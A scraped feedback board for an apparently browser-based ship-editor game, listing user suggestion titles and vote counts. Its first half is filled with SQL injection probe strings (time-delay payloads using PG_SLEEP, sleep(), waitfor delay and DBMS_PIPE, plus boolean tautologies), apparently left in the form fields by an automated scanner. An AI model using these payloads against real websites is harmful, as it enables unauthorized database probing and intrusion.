
• dwUQQUrL

  1-1) OR 248=(SELECT 248 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 621=(SELECT 621 FROM PG_SLEEP(15))--

• dwUQQUrL

  19ztQNZIr' OR 910=(SELECT 910 FROM PG_SLEEP(15))--

• dwUQQUrL

  12BNt0ilh') OR 211=(SELECT 211 FROM PG_SLEEP(15))--

• dwUQQUrL

  12LRRpmqH')) OR 983=(SELECT 983 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@hDlZZ

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLVyVZsbQJ

  1

• dwUQQUrL

  1

• -1 OR 2+752-752-1=0+0+0+1 --

  1

• -1 OR 2+524-524-1=0+0+0+1

  1

• -1' OR 2+793-793-1=0+0+0+1 --

  1

• -1' OR 2+71-71-1=0+0+0+1 or 'c4m5rfK3'='

  1

• -1" OR 2+114-114-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrL0yiB3M3w'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@7O9lb

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  19cXBftgL

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+731-731-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+294-294-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+333-333-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+516-516-1=0+0+0+1 or 'FQO2bqjk'='

• kEMlzpAX

  -1" OR 2+251-251-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1nxTgC4Rm'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 886=(SELECT 886 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 301=(SELECT 301 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 897=(SELECT 897 FROM PG_SLEEP(15))--

• kEMlzpAX

  1nn7Jyju0' OR 655=(SELECT 655 FROM PG_SLEEP(15))--

• kEMlzpAX

  1MwyINeTe') OR 955=(SELECT 955 FROM PG_SLEEP(15))--

• kEMlzpAX

  1yu8vPMXc')) OR 324=(SELECT 324 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@9LMiQ

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXDrgcNmFe

  1

• kEMlzpAX

  1

• -1 OR 2+767-767-1=0+0+0+1 --

  1

• -1 OR 2+542-542-1=0+0+0+1

  1

• -1' OR 2+752-752-1=0+0+0+1 --

  1

• -1' OR 2+162-162-1=0+0+0+1 or '7hcliFDc'='

  1

• -1" OR 2+852-852-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXQDnbLlSt'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@J36q1

  1

• kEMlzpAX

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 159 months ago
  Unvote

  8176 agree

• Hack Protection
  By Stealthkid - 151 months ago
  Unvote

  2948 agree

• Add to favorites
  By Anonymous - 162 months ago
  Unvote

  909 agree

• editro
  By critic - 162 months ago
  Unvote

  863 agree

• Missiles as an Third Weapon
  By Ram - 158 months ago
  Unvote

  845 agree

• Youtube B-wing achievement
  By chuck norris - 160 months ago
  Unvote

  838 agree

• Change Name?
  By Anonymous - 162 months ago
  Unvote

  835 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 118 months ago
  Unvote

  802 agree

• Slide ship in on start
  By Kickass guy - 162 months ago
  Unvote

  769 agree

• Mistaken Website Bug
  By CrazyDeathling - 160 months ago
  Vote

  753 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 157 months ago
  Unvote

  751 agree

• Rank list & Leaderboards
  By StoleYourFood - 156 months ago
  Unvote

  739 agree

• What browsers are supported?
  By Jack - 158 months ago
  Unvote

  731 agree

• It doesn't work!
  By the destructor - 161 months ago
  Unvote

  720 agree

• Awesome
  By Anonymous - 154 months ago
  Unvote

  684 agree

• Save
  By DevilishDB - 160 months ago
  Unvote

  677 agree

• Try Me does not work
  By Tim - 162 months ago
  Unvote

  673 agree

• Two major glitches
  By BeyPokéDig - 161 months ago
  Unvote

  671 agree

• Undo button
  By wombat - 159 months ago
  Unvote

  660 agree

• battle
  By alexof - 159 months ago
  Unvote

  660 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 154 months ago
  Unvote

  655 agree

• achievements
  By Lee - 161 months ago
  Unvote

  652 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 161 months ago
  Unvote

  648 agree

• how do i draw the outline
  By kickassisdeboss - 161 months ago
  Unvote

  647 agree

• omfg
  By Russellmichael13 - 160 months ago
  Vote

  642 agree

• Pen tool
  By Cblackdragon - 156 months ago
  Unvote

  638 agree

• White labeling the app?
  By Peter.dibart - 157 months ago
  Unvote

  617 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 161 months ago
  Unvote

  614 agree

• You guys should have a symmetrical mode
  By Idrees - 161 months ago
  Unvote

  605 agree

• need some advice
  By Hao - 159 months ago
  Unvote

  598 agree

• Enemies
  By Agallup16 - 161 months ago
  Unvote

  591 agree

• Mirrored editing
  By wombat - 159 months ago
  Unvote

  590 agree

• Designer
  By Anonymous - 162 months ago
  Unvote

  578 agree

• Forums
  By BeyPokéDig - 161 months ago
  Unvote

  577 agree

• Rankings
  By heyo - 161 months ago
  Unvote

  577 agree

• Benefits from improving ranks
  By hurrtz - 157 months ago
  Unvote

  574 agree

• Pro!!
  By Jtbui20 - 160 months ago
  Unvote

  570 agree

• Button
  By Cottonball - 160 months ago
  Unvote

  569 agree

• android app
  By Barissenkal - 152 months ago
  Unvote

  565 agree

• help
  By Russellmichael13 - 160 months ago
  Unvote

  560 agree

• Extra weapons
  By MassMurdererOver9000 - 156 months ago
  Unvote

  552 agree

• Undo Button
  By Cblackdragon - 156 months ago
  Unvote

  550 agree

• I am using this on my site
  By Idrees - 161 months ago
  Unvote

  550 agree

• 1 agrees
  By BeyPokéDig - 161 months ago
  Unvote

  549 agree

• 0xp till| Only GA.
  By StoleYourFood - 156 months ago
  Unvote

  545 agree

• Image for ship
  By wombat - 159 months ago
  Unvote

  541 agree

• You guys need an undo button
  By Idrees - 161 months ago
  Unvote

  524 agree

• Question
  By Kickin Ass - 161 months ago
  Unvote

  524 agree

• how come the editor is so hard to use
  By Rcasassin - 158 months ago
  Unvote

  518 agree

• page moving up/down while controling the ship?
  By Tommy - 161 months ago
  Unvote

  502 agree